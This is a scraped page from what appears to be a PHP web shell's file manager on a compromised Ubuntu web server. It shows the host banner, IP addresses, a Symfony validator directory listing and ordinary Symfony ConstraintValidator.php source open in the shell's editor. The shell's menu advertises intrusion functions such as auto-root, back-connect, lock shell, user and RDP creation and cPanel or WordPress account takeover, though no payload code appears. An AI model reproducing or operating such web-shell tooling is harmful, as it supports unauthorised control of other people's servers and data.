Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.166
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
symfony /
validator /
[ HOME SHELL ]
Name
Size
Permission
Action
Constraints
[ DIR ]
drwxrwxr-x
Context
[ DIR ]
drwxrwxr-x
DataCollector
[ DIR ]
drwxrwxr-x
DependencyInjection
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
Mapping
[ DIR ]
drwxrwxr-x
Resources
[ DIR ]
drwxrwxr-x
Test
[ DIR ]
drwxrwxr-x
Util
[ DIR ]
drwxrwxr-x
Validator
[ DIR ]
drwxrwxr-x
Violation
[ DIR ]
drwxrwxr-x
CHANGELOG.md
15.64
KB
-rw-rw-r--
Constraint.php
9.6
KB
-rw-rw-r--
ConstraintValidator.php
4.74
KB
-rw-rw-r--
ConstraintValidatorFactory.php
1.22
KB
-rw-rw-r--
ConstraintValidatorFactoryInte...
709
B
-rw-rw-r--
ConstraintValidatorInterface.p...
769
B
-rw-rw-r--
ConstraintViolation.php
4.93
KB
-rw-rw-r--
ConstraintViolationInterface.p...
4.14
KB
-rw-rw-r--
ConstraintViolationList.php
3.76
KB
-rw-rw-r--
ConstraintViolationListInterfa...
1.55
KB
-rw-rw-r--
ContainerConstraintValidatorFa...
1.95
KB
-rw-rw-r--
GroupSequenceProviderInterface...
685
B
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
ObjectInitializerInterface.php
806
B
-rw-rw-r--
README.md
584
B
-rw-rw-r--
Validation.php
2.25
KB
-rw-rw-r--
ValidatorBuilder.php
11.4
KB
-rw-rw-r--
composer.json
2.73
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ConstraintValidator.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Validator; use Symfony\Component\Validator\Context\ExecutionContextInterface; /** * Base class for constraint validators. * * @author Bernhard Schussek <bschussek@gmail.com> */ abstract class ConstraintValidator implements ConstraintValidatorInterface { /** * Whether to format {@link \DateTime} objects, either with the {@link \IntlDateFormatter} * (if it is available) or as RFC-3339 dates ("Y-m-d H:i:s"). */ public const PRETTY_DATE = 1; /** * Whether to cast objects with a "__toString()" method to strings. */ public const OBJECT_TO_STRING = 2; /** * @var ExecutionContextInterface */ protected $context; /** * {@inheritdoc} */ public function initialize(ExecutionContextInterface $context) { $this->context = $context; } /** * Returns a string representation of the type of the value. * * This method should be used if you pass the type of a value as * message parameter to a constraint violation. Note that such * parameters should usually not be included in messages aimed at * non-technical people. * * @param mixed $value The value to return the type of * * @return string The type of the value */ protected function formatTypeOf($value) { return get_debug_type($value); } /** * Returns a string representation of the value. * * This method returns the equivalent PHP tokens for most scalar types * (i.e. "false" for false, "1" for 1 etc.). Strings are always wrapped * in double quotes ("). Objects, arrays and resources are formatted as * "object", "array" and "resource". If the $format bitmask contains * the PRETTY_DATE bit, then {@link \DateTime} objects will be formatted * with the {@link \IntlDateFormatter}. If it is not available, they will be * formatted as RFC-3339 dates ("Y-m-d H:i:s"). * * Be careful when passing message parameters to a constraint violation * that (may) contain objects, arrays or resources. These parameters * should only be displayed for technical users. Non-technical users * won't know what an "object", "array" or "resource" is and will be * confused by the violation message. * * @param mixed $value The value to format as string * @param int $format A bitwise combination of the format * constants in this class * * @return string The string representation of the passed value */ protected function formatValue($value, int $format = 0) { if (($format & self::PRETTY_DATE) && $value instanceof \DateTimeInterface) { if (class_exists(\IntlDateFormatter::class)) { $formatter = new \IntlDateFormatter(\Locale::getDefault(), \IntlDateFormatter::MEDIUM, \IntlDateFormatter::SHORT, 'UTC'); return $formatter->format(new \DateTime( $value->format('Y-m-d H:i:s.u'), new \DateTimeZone('UTC') )); } return $value->format('Y-m-d H:i:s'); } if (\is_object($value)) { if (($format & self::OBJECT_TO_STRING) && method_exists($value, '__toString')) { return $value->__toString(); } return 'object'; } if (\is_array($value)) { return 'array'; } if (\is_string($value)) { return '"'.$value.'"'; } if (\is_resource($value)) { return 'resource'; } if (null === $value) { return 'null'; } if (false === $value) { return 'false'; } if (true === $value) { return 'true'; } return (string) $value; } /** * Returns a string representation of a list of values. * * Each of the values is converted to a string using * {@link formatValue()}. The values are then concatenated with commas. * * @param array $values A list of values * @param int $format A bitwise combination of the format * constants in this class * * @return string The string representation of the value list * * @see formatValue() */ protected function formatValues(array $values, int $format = 0) { foreach ($values as $key => $value) { $values[$key] = $this->formatValue($value, $format); } return implode(', ', $values); } }
Close